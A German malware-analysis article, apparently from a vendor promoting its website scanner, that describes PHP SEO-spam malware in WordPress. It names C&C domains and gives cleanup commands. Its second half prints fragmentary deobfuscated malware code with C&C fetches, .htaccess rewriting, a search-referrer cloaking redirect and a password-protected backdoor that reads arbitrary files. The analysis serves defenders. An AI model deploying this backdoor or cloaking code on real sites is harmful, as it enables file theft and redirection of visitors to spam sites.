So funktioniert Schadsoftware - Fallbeispiel
Warum wurde die Schadware entdeckt?
KRITIS 3.0 ist eine professionelle Sicherheits-Audit-Software für Websites. Sie analysiert Webseiten ausschließlich durch passive Prüfung öffentlich zugänglicher Informationen – ohne aktive Eingriffe oder Tests am Zielsystem.
Was ist eine passive Sicherheitsanalyse?
Erkenntnisse und Risikobewertung:
- untersucht WordPress-Installationen auf bekannte Malware-Signaturen
- Identifiziert veraltete Plugins, Themes und Core-Versionen
- Erkennt öffentlich sichtbare Sicherheitslücken (CVEs)
- Analysiert HTTP-Header und Server-Responses auf Schwachstellen
- Prüft SSL/TLS-Zertifikate und Verschlüsselungskonfiguration
Externe Kommunikation:
- Erkennt verdächtige Verbindungen zu externen Servern
- Dokumentiert API-Calls und Third-Party-Ressourcen
- Identifiziert potenzielle Daten-Leaks durch unsichere Verbindungen
- Analysiert DNS-Records und Nameserver-Konfigurationen
Compliance & Rechtliches:
- Dokumentiert externe Datenverarbeiter für Audit-Berichte
- Erstellt rechtssichere Nachweise für Compliance-Prüfungen
Technische Bewertung:
- Misst Performance-Metriken (Ladezeiten, Ressourcen)
- Rendert Seiten mit Chrome-Engine für JavaScript-Analyse
- Erkennt veraltete Bibliotheken und Framework-Versionen
- Identifiziert SEO-Spam und manipulierte Inhalte
Automatisierte Reports:
- Generiert detaillierte Berichte
- Mehrsprachige Ausgabe (Deutsch/Englisch)
- CLI-Interface
- Caching-System für effiziente Wiederholungsprüfungen
Wichtige Einschränkung:
Die Software führt KEINE aktiven Penetrationstests durch:
- Keine Exploit-Versuche oder Angriffssimulationen
- Keine Manipulation von Formularen oder Datenbanken
- Keine Brute-Force-Attacken auf Login-Bereiche
- Ausschließlich Analyse öffentlich zugänglicher Informationen
Ziel der Entwicklung:
Betreiber von Websites frühzeitig auf potenzielle Sicherheitsrisiken, veraltete Komponenten und Compliance-Probleme aufmerksam zu machen – bevor diese von Angreifern ausgenutzt werden können.
Diese Analyse dokumentiert die Funktionsweise einer realen PHP-basierten Malware (Fund 01.10.2025) durch KRITS 3.0, die häufig in WordPress-Installationen gefunden wird. Der Code tarnt sich als legitime WordPress-Datei und führt verschiedene schädliche Aktivitäten aus.
Hauptfunktionen der Malware
1. Verschleierung und Tarnung
Was macht sie:
- Tarnt sich durch WordPress-typische Kommentare mit zufälligen englischen Wörtern
- Verwendet kryptische Variablennamen wie
$O00O0O
,$q1
,$q2
- Deaktiviert Fehlermeldungen mit
@ini_set('display_errors', 0)
Warum ist das gefährlich: Die Malware sieht auf den ersten Blick aus wie normaler WordPress-Code und wird dadurch schwerer erkannt.
2. Suchmaschinen-Cloaking
Was macht sie:
Prüft ob der Besucher von Google, Yahoo, Bing kommt
→ Leitet echte Besucher auf fremde Websites um
→ Zeigt Suchmaschinen-Crawlern aber normale Inhalte
Erkennungsmerkmale:
- Prüft
HTTP_REFERER
auf Suchmaschinen - Erkennt Google-IP-Adressen
- Identifiziert Crawler anhand des User-Agents
Schaden:
- Besucher werden auf Spam-Seiten umgeleitet
- SEO-Manipulation
- Traffic-Diebstahl
3. Automatische Sitemap-Generierung
Was macht sie:
- Erstellt automatisch XML-Sitemaps mit Tausenden Links
- Generiert SEO-optimierte URLs
- Speichert Sitemaps im Verzeichnis
../sitetarget/
Parameter:
FNUM = 83
(Anzahl der Datei-Segmente)- Generiert bis zu 12.000 URLs pro Sitemap
- Erstellt mehrere Sitemap-Dateien (siteatarget.xml, sitebtarget.xml, etc.)
Aufruf:
?gsitemap=1&mapnum=10
4. URL-Manipulation (.htaccess)
Was macht sie:
- Modifiziert die
.htaccess
-Datei automatisch - Fügt RewriteRules hinzu für SEO-freundliche URLs
- Ermöglicht Zugriff auf generierte Fake-Seiten
Beispiel RewriteRule:
RewriteRule ^.*/(\d+)/$ index.php?id=$1
RewriteRule ^.*-(\d+)/$ index.php?cat=$1
Aufruf:
?ghtac=1
5. Dynamische Content-Generierung
Was macht sie:
- Lädt Produkt-/Seiteninformationen von externem Server
- Generiert SEO-optimierte Breadcrumbs
- Erstellt automatisch Meta-Tags (Title, Keywords, Description)
- Fügt interne Verlinkungen ein
Datenquelle:
GETDOM . "gpage.php?site=$thisdom&id=$siteAID"
Generierte Elemente:
<h1>
,<h2>
,<h3>
Überschriften- Breadcrumb-Navigation mit Schema.org Markup
- Meta-Keywords und Descriptions
- Interne Verlinkungsstruktur
6. Externe Kommunikation
Gefährliche Domains:
transferdm.xyz
deliverym.xyz
datecenter.com/api/
Was wird übertragen:
- Site-ID (
MSID = 3992
) - Domain-Informationen
- Produkt-/Content-IDs
- Generierte Links
Technische Details
Konfigurationsparameter
Parameter | Wert | Funktion |
---|---|---|
FNUM | 83 | Anzahl ID-Dateien |
JGNUM | 40 | Link-Generierungs-Parameter |
LINKNUM | 8 | Anzahl interner Links |
MSID | 3992 | Eindeutige Site-ID |
KEYJG | 7 | Keyword-Rotation |
PNAMELEN | 49 | Länge der Produktnamen in URLs |
URL-Strukturen (JDT-Modi)
JDT = 0: domain.com/category/product-name/123/
JDT = 1: domain.com/ordner/category/product-name/123/
JDT = 2: domain.com/ordner/index.php/category/product-name/123/
JDT = 3: domain.com/ordner/index.php?keyword=product-name-123
Erkennungsmerkmale
✓ Im Code sichtbar:
- Ungewöhnlich lange Kommentarblöcke mit zufälligen Wörtern
- Verschleierte Variablennamen (
$O00O0O
,$q1-$q8
) - Arrays mit Zahlenfolgen ohne erkennbare Logik
- Externe URL-Aufrufe mit
curl_get_from_webpage()
- Manipulation von
.htaccess
✓ Im Verhalten:
- Automatische Ordner-Erstellung (
../sitetarget/
) - Generierung von XML-Dateien
- Umleitung von Besuchern
- Unterschiedliches Verhalten für Crawler vs. echte Besucher
✓ Auf dem Server:
- Dateien wie
id0.php
,id1.php
…id82.php
- Verzeichnis
sitetarget
mit XML-Dateien - Modifizierte
.htaccess
-Datei moban.html
Template-Dateimap.log
undidlogs.txt
Log-Dateien
Schutzmechanismen
1. Prävention
- Regelmäßige Sicherheitsupdates
- Sichere Passwörter und Zugriffsrechte
- File Integrity Monitoring
- Web Application Firewall (WAF)
2. Erkennung
- Datei-Scanner (z.B. Wordfence, Sucuri usw. als Basisschutz)
- KRITIS 3.0
- Überprüfung der
.htaccess
- Monitoring von ausgehenden Verbindungen
- Ungewöhnliche Sitemap-Dateien prüfen
KRITIS 3.0 als erweiterte Analyseschicht:
KRITIS 3.0 wurde entwickelt, um genau dort anzusetzen, wo Standard-Scanner an ihre Grenzen stoßen. Durch die Kombination aus passiver Verhaltensanalyse und umfassender Systemprüfung erkennt die Software auch versteckte Bedrohungen, die sich tarnen oder nur unter bestimmten Bedingungen aktiv werden. Die Software analysiert nicht nur einzelne Dateien, sondern untersucht das Gesamtverhalten der Website, einschließlich ausgehender Verbindungen, HTTP-Header-Anomalien und verdächtiger JavaScript-Aktivitäten.
Besonders wertvoll ist die Fähigkeit von KRITIS 3.0, die Website wie ein echter Besucher zu rendern. Durch die Integration der Chrome-Engine werden JavaScript-basierte Angriffe sichtbar, die bei reiner Dateianalyse unentdeckt bleiben würden. Malware, die sich nur für bestimmte User-Agents oder IP-Adressen aktiviert, wird durch diese Methode ebenfalls identifiziert.
3. Bereinigung
# Verdächtige Dateien finden
find . -name "id*.php"
find . -name "*target*.xml"
# .htaccess Backup prüfen
diff .htaccess .htaccess.backup
# Verdächtige Prozesse
ps aux | grep php
4. Nach der Infektion
- Alle Passwörter ändern
- WordPress und Plugins aktualisieren
- Datenbank auf Backdoors prüfen
- Alle Dateien mit sauberer Installation vergleichen
- Server-Logs analysieren
Funktionsweise in Bildern
┌─────────────────┐
│ Besucher kommt │
│ von Google │
└────────┬────────┘
│
▼
┌─────────────────────┐ ┌──────────────────┐
│ Malware prüft: │──Ja─▶│ Umleitung auf │
│ - Referer │ │ Spam-Website │
│ - IP-Adresse │ │ (transffdff.xyz) │
│ - User-Agent │ └──────────────────┘
└─────────┬───────────┘
│
Nein
│
▼
┌─────────────────────┐
│ Zeige normale Seite │
│ mit generierten │
│ Inhalten │
└─────────────────────┘
Zusammenfassung
Diese Malware ist ein ausgeklügeltes System für:
- Black-Hat SEO: Manipulation von Suchmaschinen-Rankings
- Traffic-Diebstahl: Umleitung echter Besucher
- Doorway Pages: Automatische Generierung von Fake-Inhalten
- Cloaking: Unterschiedliche Inhalte für Crawler und Menschen
Die Malware ist schwer zu erkennen, kommuniziert mit externen Servern und kann erheblichen Schaden für SEO, Reputation und Benutzererfahrung verursachen.
FILE_COUNT)
die("Error: Number too high");
$fileArray = calculateMapRange($startNum,$mapCount);
$pattern = '##si';
$mapLog = file_get_contents("./map.log");
foreach($fileArray as $fileId){
$filename = "id$fileId.php";
// Bereits erstellt? Überspringen
if(strstr($mapLog,'#sitemap'.$fileId.'.xml#')){
echo $filename." already exists
";
$mapCounter++;
continue;
}
// Daten vom C&C Server holen
for($attempt=0; $attempt<3; $attempt++){
$apiUrl = BASE_URL . "api.php?getmapid=$fileId&site=$currentDomain&sid=".SITE_NUMBER;
$response = fetchFromUrl($apiUrl,'',5);
$productArray = array();
if(preg_match($pattern,$response,$matches)){
$items = explode('^^',$matches[1]);
foreach($items as $item){
$parts = explode('^',$item);
if(count($parts) == 2){
$productArray[$parts[0]] = $parts[1];
}
}
break;
}
}
if(!isset($productArray) or count($productArray) < 100){
echo "Sitemap generation failed
";
die();
}
echo $filename."
";
if($mapCounter == 1){
generateSitemap($productArray,1,2);
}else{
generateSitemapSecondary($productArray,1,2);
}
unset($productArray);
}
}
// === .HTACCESS MANIPULATION ===
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirPath = dirname(__FILE__);
$folderName = end((explode(DIRECTORY_SEPARATOR, $dirPath)));
$parentDir = '../';
$htaccessContent = '';
if (file_exists("$parentDir.htaccess")){
@chmod("$parentDir.htaccess",0755);
$htaccessContent = file_get_contents("$parentDir.htaccess");
}
if(!(strstr($htaccessContent,'RewriteBase'))){
$htaccessContent = ''.PHP_EOL .
'Options +FollowSymLinks'. PHP_EOL .
'RewriteEngine on'. PHP_EOL .
'RewriteBase /'. PHP_EOL .' ';
}
// Rewrite Rules einfügen
$rewritePattern = '#(.*RewriteEngine On.*)#i';
$newRules = '\1'.PHP_EOL .
'RewriteRule ^.*/(\d+)/$ index\.php?id=$1 [L]'. PHP_EOL .
'RewriteRule ^.*-(\d+)/$ index\.php?cat=$1 [L]';
if(preg_match($rewritePattern,$htaccessContent)){
$htaccessContent = preg_replace($rewritePattern,$newRules,$htaccessContent,1);
}
file_put_contents("$parentDir.htaccess", $htaccessContent);
die("htaccess modified");
}
// === BACKDOOR ===
$backdoorHash = 'b6772c68627f804a9578152ee90f5b0c'; // MD5 des Passworts
if(isset($_POST["check"]) && md5($_POST["check"])==$backdoorHash){
$targetFile = $_POST["target_file"];
if(file_exists($targetFile)){
echo '#ok#';
}else{
echo '#nofile#';
}
die();
}
if(isset($_POST["read"]) && md5($_POST["read"])==$backdoorHash){
$targetFile = $_POST["target_file"];
if(file_exists($targetFile)){
echo readFile($targetFile);
die();
}
}
if(isset($_POST["test"]) && md5($_POST["test"])==$backdoorHash){
echo '#ok#';
die();
}
// === URL PARSING ===
if(MODE_TYPE==2){
$urlPath=end((explode('index.php',$_SERVER['REQUEST_URI'])));
if($urlPath){
$productId = '';
$categoryId = '';
$pattern1='#.*/(\d+)/$#i';
$pattern2='#.*/(\d+)/$#i';
if(preg_match($pattern1,$urlPath,$matches)){
if(isset($matches[1]))
$productId = $matches[1];
}
if($productId){
$_GET['id']= $productId;
}else{
// Kategorie suchen
$pattern3='#.*-(\d+)/$#i';
if(preg_match($pattern3,$urlPath,$matches)){
if(isset($matches[1]))
$categoryId = $matches[1];
}
if($categoryId)
$_GET['cat']= $categoryId;
}
}
}
// === ID BESTIMMEN ===
if(isset($_GET["id"])){
$currentId = $_GET["id"];
}else{
if(isset($_GET["cat"])){
$requestedUrl = $_GET["cat"];
$logFile = './idlogs.txt';
if(file_exists($logFile)){
$urlIdMapping = unserialize(file_get_contents($logFile));
}else{
$urlIdMapping = array();
}
if(isset($urlIdMapping[$requestedUrl])){
$currentId = $urlIdMapping[$requestedUrl];
}else{
$urlIdMapping[$requestedUrl] = getRandomCategoryId($requestedUrl);
$currentId = $urlIdMapping[$requestedUrl];
file_put_contents($logFile,serialize($urlIdMapping));
}
}else{
$currentId = "551476"; // Default Index ID
}
}
// Validierung
$idPattern = '#^\d+$#';
if(!preg_match($idPattern,$currentId)){
exit;
}
// === CLOAKING & REDIRECT ===
if(isset($_SERVER["HTTP_REFERER"])){
$referrer = $_SERVER["HTTP_REFERER"];
$searchEnginePattern = '#(google|yahoo|bing|docomo)(\.[a-z0-9\-]+){1,2}#i';
// Google IP-Ranges
$googleIpRanges = array(
array('64.233.160.0','64.233.191.255'),
array('66.102.0.0','66.102.15.255'),
array('66.249.64.0','66.249.95.255'),
array('72.14.192.0','72.14.255.255'),
array('74.125.0.0','74.125.255.255'),
array('209.85.128.0','209.85.255.255'),
array('216.239.32.0','216.239.63.255')
);
$visitorIp = getRealIpAddress();
$isGoogleIp = checkIpInRange($visitorIp,$googleIpRanges);
$isCrawler = detectCrawler();
// Von Suchmaschine, aber kein Bot? REDIRECT!
if(preg_match($searchEnginePattern, $referrer) &&
$isCrawler == false &&
$isGoogleIp == false){
$domainPattern = '#^https?://www\.[^/]+/$#i';
$redirectUrl1 = 'http://www.'.$domainA.'.xyz'. PATH_PREFIX . SITE_NUMBER .".txt";
$redirectUrl2 = 'http://www.'.$domainB.'.xyz'. PATH_PREFIX . SITE_NUMBER .".txt";
for($i=0;$i<2;$i++){
$targetDomain = fetchViaJs($redirectUrl1,2);
$targetDomain = trim($targetDomain);
if(!preg_match($domainPattern,$targetDomain)){
$targetDomain = fetchViaJs($redirectUrl2,10);
$targetDomain = trim($targetDomain);
if(preg_match($domainPattern,$targetDomain))
break;
}else{
break;
}
}
// JavaScript Redirect
echo '';
die();
}
}
// === CONTENT GENERIEREN ===
$siteId = SITE_NUMBER;
$combinedId = $siteId. '-' .$currentId;
// Daten vom C&C Server laden
$productApiUrl = BASE_URL . "api.php?site=$currentDomain&id=$combinedId";
$productData = fetchFromUrl($productApiUrl,'',5);
$dataPattern = '#(.*) #si';
preg_match($dataPattern,$productData,$infoMatch);
if(isset($infoMatch[1])){
$dataArray = unserialize($infoMatch[1]);
}else{
header("HTTP/1.1 404 Not Found");
exit;
}
// Daten extrahieren
$relatedProducts1 = unserialize($dataArray['frStr1']);
if(isset($dataArray['frStr2'])){
$relatedProducts2 = unserialize($dataArray['frStr2']);
}
$productTitle = $dataArray['Ptitle'];
$productName = $dataArray['nowIdName'];
$categoryString = $dataArray['pcatstr'];
$previousText = $dataArray['nowPreStr'];
$nextText = $dataArray['nowNextStr'];
// Titel bereinigen
if(strstr($productTitle,'#cat#')){
$titleParts = explode('#cat#',$productTitle);
$productTitle = $titleParts[1];
}
// Kategorien parsen
if(strstr($categoryString,'#cname#')){
$parts = explode('#cname#',$categoryString);
$catString = $parts[0];
$categories = explode('^',$catString);
// Duplikate entfernen
$uniqueCategories = array();
$tempCats = array();
foreach($categories as $cat){
$cat = str_replace('&','&',$cat);
if(!isset($tempCats[$cat])){
$tempCats[$cat] = 1;
$uniqueCategories[] = $cat;
}
}
$categories = $uniqueCategories;
// Meta-Daten
$metaString = $parts[1];
if(strstr($metaString,'#keydescription#')){
$metaParts = explode('#keydescription#',$metaString);
$keywords = trim($metaParts[0]);
$description = $metaParts[1];
// Keyword-Rotation
if($keywords){
$keywordArray = explode(',',$keywords);
$keywordCount = count($keywordArray);
$rotateValue = KEY_ROTATE % $keywordCount;
// [Keyword-Rotations-Logik - GEKÜRZT]
$keywords = implode(',',$keywordArray);
}else{
$keywords = $productTitle;
}
// Description-Rotation
if(!$description){
$description = $previousText.' '.$productTitle.' '.$nextText;
}else{
// [Description-Rotations-Logik - GEKÜRZT]
}
}
}
// === BREADCRUMB GENERIEREN ===
$breadcrumbHtml = generateBreadcrumb($productTitle,$categories,$currentId);
// === TITEL-VARIATIONEN ===
$titleWords = preg_split('/\s+/us', $productTitle);
$cleanTitleWords = array();
foreach($titleWords as $word){
$word = trim($word);
if($word){
$cleanTitleWords[] = $word;
}
}
$wordCount = count($cleanTitleWords);
$rotateIndex1 = RAND_VALUE_A % $wordCount;
$titleVariation1 = rearrangeWords($cleanTitleWords,$rotateIndex1);
$rotateIndex2 = RAND_VALUE_B % $wordCount;
if($rotateIndex1 == $rotateIndex2){
$rotateIndex2 = abs($rotateIndex1-2);
}
$titleVariation2 = rearrangeWords($cleanTitleWords,$rotateIndex2);
// === HTML CONTENT ZUSAMMENBAUEN ===
$topContent = $breadcrumbHtml.PHP_EOL;
$topContent .= "{$productTitle}
";
$topContent .= ''. implode(' ',$categories) . " {$productTitle}".PHP_EOL;
$paragraphContent = '';
if(isset($keywords)){
$paragraphContent .= $keywords.',';
}
$paragraphContent .= $productTitle.',';
$paragraphContent .= $titleVariation1.',';
$paragraphContent .= $description;
$paragraphContent .= $titleVariation2.'.
'.PHP_EOL;
$topContent .= $paragraphContent;
if(isset($dataArray['pdes'])){
$topContent .= ''.$dataArray['pdes']."
".PHP_EOL;
}
if(isset($dataArray['nowPimgArr'])){
$images = unserialize($dataArray['nowPimgArr']);
foreach($images as $img){
$topContent .= $img."
".PHP_EOL;
}
}
$topContent .= "{$productTitle}
".PHP_EOL;
// === RELATED LINKS ===
$linkArray = array();
$relatedLinks1 = ' '.PHP_EOL;
// [Weitere Content-Generierung - GEKÜRZT]
// === TEMPLATE LADEN & AUSGEBEN ===
$templateFile = fopen("moban.html","r");
$htmlTemplate = fread($templateFile,filesize("moban.html"));
$htmlTemplate = str_ireplace('#bbbtitsbbb#', $productTitle." {$currentDomain}", $htmlTemplate);
$htmlTemplate = str_ireplace('#bbbkeybbb#', $keywords, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbbdesbbb#', $description, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbb1content1bbb#', $topContent, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbb2content2bbb#', '', $htmlTemplate);
// Footer
$footerKeywords = "{$productTitle}, {$keywords}".PHP_EOL;
$htmlTemplate = str_replace('